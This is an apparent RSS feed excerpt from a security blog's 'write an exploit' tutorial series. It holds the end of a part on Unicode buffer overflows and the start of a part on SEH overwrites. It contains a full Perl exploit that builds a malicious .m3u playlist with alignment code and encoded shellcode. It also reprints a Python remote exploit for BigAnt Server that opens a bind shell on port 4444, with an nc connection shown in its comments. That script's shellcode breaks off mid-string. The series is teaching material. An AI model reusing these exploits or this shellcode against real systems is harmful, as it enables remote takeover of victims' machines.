<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#nop/align</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>55&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#push ebp</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#nop/align</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#pop eax</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#pop/align</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>14<span style="color: #000099; font-weight: bold;">\x</span>11&quot;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#add eax,0x11001400</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#pop/align</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>2d<span style="color: #000099; font-weight: bold;">\x</span>13<span style="color: #000099; font-weight: bold;">\x</span>11&quot;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#sub eax,0x11001300</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#pop/align</span>
&nbsp;
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$jump</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#push eax</span>
<span style="color: #0000ff;">$jump</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$jump</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6d&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#nop/align</span>
<span style="color: #0000ff;">$jump</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$jump</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>c3&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#ret</span>
&nbsp;
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$morestuff</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;D&quot;</span> x <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">5000</span><span style="color: #339933;">-</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$junk</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$nseh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$seh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$jump</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #0000ff;">$payload</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$junk</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$nseh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$seh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$jump</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$morestuff</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span>myfile<span style="color: #339933;">,</span><span style="color: #ff0000;">'&gt;unicode5.m3u'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> myfile <span style="color: #0000ff;">$payload</span><span style="color: #339933;">;</span>
<span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span>myfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;Wrote &quot;</span><span style="color: #339933;">.</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$payload</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot; bytes<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Let’s check with the dubugger what happens.<br />
After that you have to run the application, check the value of eax before the jump:</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-13.png"><img src="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-13.png" alt="" title="Immagine 13" width="1126" height="518" class="aligncenter size-full wp-image-2308" /></a></p>
<p>The eax points to 0012F354 address where there are “D” and where it will be the beginning of the shellcode. So it is necessary to calculate the right offset to add the right padding.</p>
<p>Therefore:<br />
0012F354 &#8211; 0012f27c = 0xD8 = 216 / 2 = 108 &#8211; 1 = 107</p>
<p>216 / 2 because the Unicode adds the null bytes “00”, one for each byte added. So you need to divide by half. -1 because there is a “D” at the beginning of venetian code used to align the code. So the final exploit will be:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$totalsize</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">5000</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junk</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;A&quot;</span> x <span style="color: #cc66cc;">241</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$nseh</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>62&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#nseh -&gt; popad + nop/align</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$seh</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>15<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#put 00450015 in SE Handler</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;D&quot;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#we need the first D</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#put ebp in eax and then add 100 bytes</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#nop/align</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>55&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#push ebp</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#nop/align</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#pop eax</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#pop/align</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>14<span style="color: #000099; font-weight: bold;">\x</span>11&quot;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#add eax,0x11001400</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#pop/align</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>2d<span style="color: #000099; font-weight: bold;">\x</span>13<span style="color: #000099; font-weight: bold;">\x</span>11&quot;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#sub eax,0x11001300</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#pop/align</span>
&nbsp;
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$jump</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#push eax</span>
<span style="color: #0000ff;">$jump</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$jump</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6d&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#nop/align</span>
<span style="color: #0000ff;">$jump</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$jump</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>c3&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#ret</span>
&nbsp;
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLK83YKPKPM01PU99UNQ8RS4DKPRNP4K0RLLTKR2N4TK2RMXLOWGPJMVP1KOP17PFLOL1Q3LLBNLMPY1XOLMM17WK2ZPR2R7DKR2LPDKOROLKQHPDKQ0SHU57PRTOZKQXPPPDKQ8LXTKPXO0M1J3K3OLQ94KNTTKKQZ6NQKONQ7PVLWQHOLMKQGW08YP2UJTM3SML8OKSMMTBUK2QHTKPXMTKQJ31V4KLL0KDK0XMLKQXSDKM4TKKQXP3Y14O4O4QKQKS11IQJB1KOK0PXQOQJDKN2JK561M38NS02M0KPQXRWSC02QOPT1X0LRWMVLGKOHU7H4PM1M0KPMYXDB40PQXMYSP2KKPKOJ50PPPB0PPOPB0OP0PS89ZLO9O9PKO8UUG2JKUS86LN0LO3SQXKRM0LQ1LU9YV2JLPPV0WQX69W5T4QQKOHU3UWPT4LLKOPNM845ZLC8L0H5VB1FKO9E2JM0BJKTQFQGC8KR8YWXQOKOIETKNVQZ101XM0LPKPKP26RJKP2HQH6DQCYUKOHUUCPS2JKPPVR3PW1XM2J9WXQOKOXUM17SMYY655KFD5ZLWSKZA&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$morestuff</span><span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;D&quot;</span> x <span style="color: #cc66cc;">107</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$morestuffagain</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;E&quot;</span> x <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">5000</span><span style="color: #339933;">-</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$junk</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$nseh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$seh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$jump</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellcode</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$morestuff</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #0000ff;">$payload</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$junk</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$nseh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$seh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$jump</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$morestuff</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellcode</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$morestuffagain</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span>myfile<span style="color: #339933;">,</span><span style="color: #ff0000;">'&gt;unicode6.m3u'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> myfile <span style="color: #0000ff;">$payload</span><span style="color: #339933;">;</span>
<span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span>myfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;Wrote &quot;</span><span style="color: #339933;">.</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$payload</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot; bytes<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p><strong>Pwned!</strong></p>
<p>Here there is a video demonstration:<br />
<object width="513" height="359"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=17617446&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1&amp;autoplay=0&amp;loop=0" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=17617446&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1&amp;autoplay=0&amp;loop=0" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="513" height="359"></embed></object></p>
<p>See you<br />
Michele `m7x` Manzotti</p>
]]></content:encoded>
			<wfw:commentRss>http://www.manzotti.eu/tutorial-write-an-exploit-part-4-unicode/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tutorial write an exploit part 3 SEH</title>
		<link>http://www.manzotti.eu/tutorial-write-an-exploit-part-3-seh</link>
		<comments>http://www.manzotti.eu/tutorial-write-an-exploit-part-3-seh#comments</comments>
		<pubDate>Sat, 06 Nov 2010 17:14:19 +0000</pubDate>
		<dc:creator>manzotti.eu</dc:creator>
				<category><![CDATA[manzotti.eu]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[SEH]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[write]]></category>

		<guid isPermaLink="false">http://www.manzotti.eu/?p=2043</guid>
		<description><![CDATA[In the previous tutorial we have seen some technique of buffer overflow, in most cases with the aim to overwrite the EIP with a jump esp opcode. Now let&#8217;s see how to exploit a buffer overflow through the technique of SEH. SEH, Structured Exception Handler, it’s a component for catching and handling exceptions. Basically exception [...]]]></description>
			<content:encoded><![CDATA[<p>In the <a href="http://www.manzotti.eu/tutorial-write-an-exploit-part-2">previous tutorial</a> we have seen some technique of buffer overflow, in most cases with the aim to overwrite the EIP with a jump esp opcode. Now let&#8217;s see how to exploit a buffer overflow through the technique of SEH.<br />
SEH, Structured Exception Handler, it’s a component for catching and handling exceptions. Basically exception handlers are used by programmers when the program reaches a point of no return, such as a BOF. At this point the exception handler loads in the memory blocks of code and when it finds one that resolves the problem, then the program returns to run correctly.<br />
The exploit takes advantage of this exception handler that loads the exceptions sequentially and at the beginning of each block exception there is the address that points to the next exception NEXT SEH.<br />
So if the current block exception does not solve the problem, the program reads the NEXT SEH, that is the address that points to the next exception, and executes the block in that exception, until the end of all exceptions. If it finds one that can solve the problem, obviously the program ends.</p>
<p>Not all the programs  with SEH are vulnerable, but only those where you can overwrite the SEH NEXT, the address that points to the next except, with arbitrary memory location. To check whether the program uses a vulnerable SEH OllyDbg is sufficient to load the plugin <a href="http://www.openrce.org/downloads/details/244/OllySSEH">OllySSEH</a>.</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Schermata-2010-11-03-a-19.54.24.png"><img class="aligncenter size-full wp-image-2200" title="Schermata 2010-11-03 a 19.54.24" src="http://www.manzotti.eu/wp-content/uploads/2010/11/Schermata-2010-11-03-a-19.54.24.png" alt="" width="745" height="53" /></a></p>
<p>If we can see dlls where the SEH is vulnerable then we could overwrite the SEH address with a pop pop ret opcode so that program flow is directed to the NEXT SEH, which will contain a jump to the shellcode .</p>
<p>First of all we look for an application vulnerable to SEH, e.g. <a href="http://www.manzotti.eu/wp-content/uploads/2010/11/bigantserver.zip">BigAnt Server</a>, as shown by the following <a href="http://www.exploit-db.com/exploits/9673/">exploits</a> tested on a Windows XP SP3 and then we try to run on Windows 7:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span>
<span style="color: #808080; font-style: italic;"># BigAnt Server version 2.50 SEH Overwrite - 0day</span>
<span style="color: #808080; font-style: italic;"># Written and discovered by Blake</span>
<span style="color: #808080; font-style: italic;"># Tested on Windows XP SP3</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># $ ./bigant.py 192.168.1.131 6660</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># [*] BigAnt Server v2.50 SEH Overwrite 0day</span>
<span style="color: #808080; font-style: italic;"># [*] Written and discovered by Blake</span>
<span style="color: #808080; font-style: italic;"># [*] Tested on Windows XP SP3</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># [+] Connecting to 192.168.1.131 on port 6660</span>
<span style="color: #808080; font-style: italic;"># [+] Sending payload</span>
<span style="color: #808080; font-style: italic;"># [+] Connect to bind shell on port 4444</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># $ nc 192.168.1.131 4444</span>
<span style="color: #808080; font-style: italic;"># Microsoft Windows XP [Version 5.1.2600]</span>
<span style="color: #808080; font-style: italic;"># (C) Copyright 1985-2001 Microsoft Corp.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># C:\WINDOWS\system32&gt;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span>, <span style="color: #dc143c;">sys</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">!</span>= <span style="color: #ff4500;">3</span>:
   <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[*] Usage: %s <span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
   <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
&nbsp;
host = <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>
port = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>     <span style="color: #808080; font-style: italic;"># port 6660 by default</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/shell_bind_tcp - 696 bytes  Encoder: x86/alpha_mixed</span>
<span style="color: #808080; font-style: italic;"># EXITFUNC=seh, LPORT=4444, RHOST=</span>
shellcode = <span style="color: black;">&#40;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>e2<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>cc<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>72<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>5f<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>6a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>32&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4a&quot;</span>
